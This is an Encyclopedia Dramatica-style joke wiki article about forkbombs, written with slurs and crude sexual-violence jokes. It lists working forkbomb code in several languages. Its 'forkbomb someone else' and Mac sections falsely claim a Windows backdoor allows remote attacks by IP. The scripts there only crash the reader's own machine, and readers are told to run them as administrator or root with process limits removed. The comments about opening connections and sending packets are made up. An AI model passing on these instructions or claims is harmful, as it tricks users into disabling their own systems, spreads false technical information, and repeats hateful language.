- Portals
- The Current Year
- ED in the News
- Admins
- Help ED Rebuild
- Archive
- ED Bookmarklet
- Donate Bitcoin
Contact an admin on Discord or EDF if you want an account. Also fuck bots.
Forkbomb
A forkbomb is a program that creates over 9000 copies of itself, thus completely hosing whatever computer it's run on. Forkbombs are commonly discovered by bored Computer Science III students, usually with hilarious results. Forkbombs will completely fuck up a running system, but unless you managed to write it completely wrong, forkbombs don't do any lasting damage.
How to forkbomb
C
int main() { while(1) { fork(); } return 0; }
Perl
fork while fork
BASH
:(){ :|:& };:
For Ubuntu, open the menu, go to accessories, hit terminal, and type this. then run away. or stick around.
Batch
%0|%0
or
:s start %0 %0|%0 goto :s
or
:A start goto A
Visual Basic (VBS)
do DIM objShell set objShell = wscript.createObject("wscript.shell") iReturn = objShell.Run("CMD /C loop.vbs", background , True) loop
How to forkbomb someone else
A little-known backdoor in Windows lets you forkbomb anyone on the Internets who is running Windows with a few simple commands. Go on... you know they're asking for it. DO IT FAGGOT!
How to Break Windows
Here are the commands you need to run:
if not exist REMOTE_IP set /p REMOTE_IP="Target plz? " :O %0|%0 %REMOTE_IP% goto O
Cuntpaste that into Notepad, saving it as nuke.bat. Then double-click nuke.bat. Type the IP address of the poor sucker you're about to destroy, then watch as nuke.bat creates over 9000 processes on said sucker's machine.
Note: For extra lulz, Vista users should run nuke.bat as administrator. Running the scripts as administrator causes your target's machine to die at least 100 times faster.
A Mac is fine too
Don't worry, Mac/Linux fans. Using the built-in connection features of your shell, you can also participate in the e-rape of people you hate. Just cuntpaste these three commands into a terminal:
ulimit -u unlimited # Remove any limits on sending packets export REMOTE_IP=0.0.0.0 # Replace 0.0.0.0 with the target IP _(){_|_&};_ $REMOTE_IP # Open the connection and commence the rape
Again, for maximum lulz, run the above from a root terminal (try running sudo su
before the copypasta).
Did you know?
Forkbombs are one topic covered in Computer Science III, along with DDoSing ping, IP addresses, and other ways of being a 1337 hax0r.
Forkbomb is part of a series on Programming. [Enter the Matrix] | |
ADA • Assembly • C • C++ • COBOL • Debug • DOS • Erlang • Error • Fdisk • Fortran • Integer • Java • LOLCode • Machine Code • Matlab • MIRC Script • MUMPS • Open Source • Perl • PHP • Programming language • Python • QBASIC • Ruby on Rails • Scratch • SSH • Visual Basic
Firefox XPS IRC Attack • Safari XPS Attack • Sandworm
Bill Gates • Linus Torvalds • Weev • Goatse Security • Terry Davis • Theo de Raadt
Operating system • Warez • Notepad • Is not a bug, it's a feature • Database Error |